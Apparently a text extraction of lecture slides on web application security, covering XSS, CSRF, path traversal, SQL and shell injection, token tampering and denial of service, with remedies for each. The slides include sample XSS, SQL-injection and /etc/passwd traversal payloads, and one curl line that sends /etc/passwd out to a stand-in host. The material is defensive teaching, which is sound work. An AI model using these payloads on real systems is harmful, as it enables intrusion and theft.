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Security On the Web

● Multiple facets

– Client Side
– Server Side

● High value targets

– Private information
– Financial Information



  

●2011 CWE/SANS Top 25 Most 
Dangerous Software Errors

●  Taken from  http://cwe.mitre.org/top25/ Bob Martin et al.,  2011
– [1]93.8 CWE-89 Improper Neutralization of Special Elements used in an SQL 

Command ('SQL Injection')
– [2]83.3 CWE-78 Improper Neutralization of Special Elements used in an OS 

Command ('OS Command Injection')
– [3]79.0 CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer 

Overflow')
– [4]77.7 CWE-79 Improper Neutralization of Input During Web Page Generation 

('Cross-site Scripting')
– [5]76.9 CWE-306 Missing Authentication for Critical Function
– [6]76.8 CWE-862 Missing Authorization
– [7]75.0 CWE-798 Use of Hard-coded Credentials
– [8]75.0 CWE-311 Missing Encryption of Sensitive Data
– [9]74.0 CWE-434 Unrestricted Upload of File with Dangerous Type
– [10] 73.8 CWE-807 Reliance on Untrusted Inputs in a Security Decision
– [11] 73.1 CWE-250 Execution with Unnecessary Privileges
– [12] 70.1 CWE-352 Cross-Site Request Forgery (CSRF)

http://cwe.mitre.org/top25/


  

●2011 CWE/SANS Top 25 Most 
Dangerous Software Errors

– [13] 69.3 CWE-22 Improper Limitation of a Pathname to a Restricted 
Directory ('Path Traversal')

– [14] 68.5 CWE-494 Download of Code Without Integrity Check
– [15] 67.8 CWE-863 Incorrect Authorization
– [16] 66.0 CWE-829 Inclusion of Functionality from Untrusted Control Sphere
– [17] 65.5 CWE-732 Incorrect Permission Assignment for Critical Resource
– [18] 64.6 CWE-676 Use of Potentially Dangerous Function
– [19] 64.1 CWE-327 Use of a Broken or Risky Cryptographic Algorithm
– [20] 62.4 CWE-131 Incorrect Calculation of Buffer Size
– [21] 61.5 CWE-307 Improper Restriction of Excessive Authentication 

Attempts
– [22] 61.1 CWE-601 URL Redirection to Untrusted Site ('Open Redirect')
– [23] 61.0 CWE-134 Uncontrolled Format String
– [24] 60.3 CWE-190 Integer Overflow or Wraparound
– [25] 59.9 CWE-759 Use of a One-Way Hash without a Salt



  

First Consider What is your website 
supposed to do?

● Is your website supposed to:
– Be a distributor of malware?
– Vouch for the identity of frausters?
– Run arbitrary code?
– Distribute pirated software/media?
– Host pornography

– Do anything you didn't want it to?



  

Web Content Takeover
CWE-79 Improper Neutralization of Input During Web Page 

Generation ('Cross-site Scripting') or XSS

● Imagine you ask a user for a username
– They provide

● <iframe width=”100%” height=”100% src=”
http://cnn.com/”></iframe>

● Now your website looks like CNN.com

– Was that your intent?
● No you just wanted to show a username.

– How does this happen?
● You don't properly encode the output such that it escapes 

as HTML

http://cnn.com/


  

Web Content Takeover
CWE-79 Improper Neutralization of Input During Web Page 

Generation ('Cross-site Scripting') or XSS

● Run security/server.py
– Safe http://127.0.0.1:5000/happybirthday
– Unsafe http://127.0.0.1:5000/happybirthday2
– Try to inject HTML

http://127.0.0.1:5000/happybirthday
http://127.0.0.1:5000/happybirthday2


  

Web Content Takeover
CWE-79 Improper Neutralization of Input During Web Page 

Generation ('Cross-site Scripting') or XSS

● Common XSS
– Often values are printed as URIs or attributes

● e.g. <a href=”http://example.com/user/%s”>
● The simplest XSS exploit is to pass a “ and wreck that 

tag:
– name=”><script>alert(“xss”);</script><

● E.g. provide the Color for your username
– color=FFFFFF
– color=FFFFFF”</style><style/><script>alert(“xss”);</script><

http://example.com/user/%25s


  

Web Content Takeover
CWE-79 Improper Neutralization of Input During Web Page 

Generation ('Cross-site Scripting') or XSS

● Solutions?
– Never print out anything from the user (easier said than done)
– Validate all values you embed in HTML
– Appropriately encode all values

● URI Encode URIs, don't just concatenate
● HTML Escape HTML entities

– Use a templater that will automatically escape everything for 
you

– Don't use innerHTML in Javascript. Use .html and .text in 
Jquery or new Text( text ) in Javascript.



  

Web Content Takeover
CWE-79 Improper Neutralization of Input During Web Page 

Generation ('Cross-site Scripting') or XSS

● Why this could be a big deal?
– It leads to CWE-352 Cross-Site Request Forgery 

(CSRF)
– If the website trusts the user and the attacker can 

inject content, they can inject javascript or other 
tags and execute commands on the website.



  

Cross-Site Request Forgery 
(CSRF)

● Trick a user or user agent in executing 
unintended requests.

● Hijack weak authentication measures:
– Cookies and sessions

● Repeat actions unnecessarily



  

Cross-Site Request Forgery 
(CSRF)

● Solutions
– Enforce referrer headers (still not perfect)
– Request tokens – don't allow repeated requests
– Make GET/HEAD/OPTIONS safe

● /logout should not be a GET

– Avoid any chance of XSS
– Don't rely on cookies, rely on full HTTP auth
– Don't allow users to provide URLs that get embedded!
– Rely on matching cookies



  

Cross-Site Request Forgery 
(CSRF)

● Solution with other tokens
– Origin header

● Make sure it comes from a trusted source

– Challenge Response
● Make the client provide extra information:

– Re-login
– Password
– Captcha
– A token you texted them



  

●CWE-22 Improper Limitation of a 
Pathname to a Restricted 

Directory ('Path Traversal')
● Access files and URIs that weren't supposed to be exposed!

– ../../.ssh/id_dsa – your SSH key!
– ../../../../../../../etc/passwd  used to be more useful←
– ../../.htpasswd  passwords for apache webserver←

● Often the solution many people do is inadequate:
– s/.././g    so then I just go …/.../ instead→
– Basically if you detect path traversal, maybe you should just deny 

them access?
– Use path name parsers to ensure that you have a safe parent 

directory



  

●CWE-22 Improper Limitation of a 
Pathname to a Restricted 

Directory ('Path Traversal')

●  E.g. 
http://127.0.0.1:5000/traverse?entity=../../../..
/../../../etc/passwd

● Versus http://127.0.0.1:5000/traverse_sane?
entity=../../../../../../../etc/passwd

http://127.0.0.1:5000/traverse?entity=../../../../../../../etc/passwd
http://127.0.0.1:5000/traverse?entity=../../../../../../../etc/passwd


  

●CWE-829 Inclusion of 
Functionality from Untrusted 

Control Sphere
● Lots of services want you to include iframes 

and embeddings from them.
– They make you trust them not to ruin your site.
– Lots of advertisement networks expect the same 

from you.
● When included untrusted content there can 

be consequences, whether by iframe or 
actual values.



  

CWE-829 Inclusion of 
Functionality from Untrusted 

Control Sphere
● See http://127.0.0.1:5000/static/ads.html
● See  malicious_ad in server.py

http://127.0.0.1:5000/static/ads.html


  

Improper Neutralization of Special 
Elements used in an SQL Command 

('SQL Injection')
● query = “select * from user_table where id = 

%s” % userid
– What's the problem here?



  

Improper Neutralization of Special 
Elements used in an SQL Command 

('SQL Injection')
● query = “select * from user_table where id = 

%s” % userid
– What's the problem here?
– What will this userid do?

● 0;drop table user_table
● 0 or 1=1
● 10; update user_table set admin=1; select * from 

user_table where id = 10
– Add everyone as admin and hide yourself



  

SQL Injection Patterns

● Breaking quotes
● Returning all values with 1 or 1=1
● Making multiple statements
● Selecting ALL passwords from the database
● Vandalism: dropping tables



  

SQL Injection Solutions

● Solution?
– SQL Quote all values.

● Use the SQL execute statement
● NEVER craft a SQL query purely from input strings
● ESCAPE ESCAPE ESCAPE

– Don't:
● sql.execute(“select * from tab where v=\”%s\”” % v)

– Do
● sql.execute(“select * from tab where v = ?”, v)
● PHP

– $dbh->prepare(“select * from tab where v =  :v”);
– $dbh->bindParam(“:v”, $v);
– $dbh->execute();



  

SQL Injection

● Why does it work?
– Many sites use SQL
– Many sites use products that are available for 

inspection (punbb, wordpress, etc.)
– Some languages and frameworks didn't pay 

attention at the start
● PHP!!!



  

Poorly Encrypted Cookies/Tokens

● The web is stateless! Why not rely on the user 
to hold the state?
– What is they change it or lie?
– Well lets just encrypt it and they won't be able to 

read their tokens.
● So let's set application state in the user's 

cookie so we don't need to use a database to 
store their session.



  

Poorly Encrypted Cookies/Tokens

● Dangers of Tokens:
– What if I steal them?
– What if I reuse them?
– What if I repeat them?
– Does a hacker ever need to login now?
– Furthermore, hackers can change tokens even if 

they can't read them!



  

Poorly Encrypted Cookies/Tokens

● Wait hackers can change encrypted data?
– Naive implementations do not check the integrity 

of an encrypted message
– If you don't protect integrity then you will 

decrypt garbage
– But what is garbage is all you need to break in?
– I can change a message w/o reading it.

● INITIATE DEMO



  

Poorly Encrypted Cookies/Tokens

● First and Foremost, 
– encryption done well is hard
– Rely on integrity checks
– Sign values
– Do not accept encrypted values that do not 

decrypt totally
– Most encryption hacks are in failures in the 

implementation, not in the actual algorithm!



  

Poorly Encrypted Cookies/Tokens

● Tokens are not that safe
– Make sure you can test their integrity
– Make sure it is hard to reuse a token

● Hash in the user's IP so they have to be at least from 
the same host

– Doesn't help for a university level hack :(



  

Shell Injection

● The same as the other injections but instead 
of SQL you run a command. 
– A malicious user can insert escape codes to run 

what they want.
– Imagine:

● os.system(“command arg1 arg2 %s”, arg3)
● Imagine I supply 

– “; curl -X PUT http://mysite -d @/etc/passwd



  

Shell Injection

● Solution:
– Use libraries that escape all shell commands
– Don't execute commands with a shell, just do 

direct exec.
– e.g. 

subprorcess.call([“command”,arg1,arg2,arg3])



  

DOS

● Denial of Service
– Make a service unavailable

● Common methods
– Spamming
– Flooding
– Filling queues with information
– Sending useless expensive jobs
– Using all available resources



  

DDOS

● Distributed Denial of Service
– Like a DOS but commonly run from multiple machines

● Common methods
– Redirecting webtraffic
– Using DNS poisoning to redirect people
– Lying to routers to route traffic to a non router
– Sending very slowly
– Reading very slowly



  

Resources

● Jeff Atwood, Cross-Site Request Forgeries and 
You,  
http://blog.codinghorror.com/cross-site-request-
forgeries-and-you/

● OWASP, Cross-Site Request Forgery (CSRF) 
Prevention Cheat Sheet, 
https://www.owasp.org/index.php/Cross-Site_
Request_Forgery_%28CSRF%29_Prevention_Cheat
_Sheet

● OWASP, XSS (Cross Site Scripting) Prevention 
Cheat Sheet  , 
https://www.owasp.org/index.php/XSS_%28Cros
s_Site_Scripting%29_Prevention_Cheat_Sheet

●

http://blog.codinghorror.com/cross-site-request-forgeries-and-you/
http://blog.codinghorror.com/cross-site-request-forgeries-and-you/
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet


  

Resources

● Web Application Security
– http://proquest.safaribooksonline.com/book/-/9

780071776165?bookview=overview
● Web Security Testing Cookbook

– http://proquest.safaribooksonline.com/book/-/9
780071776165?bookview=overview

● How to deal with passwords 
https://github.com/MHM5000/pass

● Security Engineering 
http://www.cl.cam.ac.uk/%7Erja14/book.html

●

http://proquest.safaribooksonline.com/book/-/9780071776165?bookview=overview
http://proquest.safaribooksonline.com/book/-/9780071776165?bookview=overview
http://proquest.safaribooksonline.com/book/-/9780071776165?bookview=overview
http://proquest.safaribooksonline.com/book/-/9780071776165?bookview=overview
https://github.com/MHM5000/pass
http://www.cl.cam.ac.uk/%7Erja14/book.html


  

Resources

● How to Hack a website 
https://www.youtube.com/watch?v=O90lSMm
Tjjo

● PHP Security Guide 
http://phpsec.org/projects/guide/

https://www.youtube.com/watch?v=O90lSMmTjjo
https://www.youtube.com/watch?v=O90lSMmTjjo
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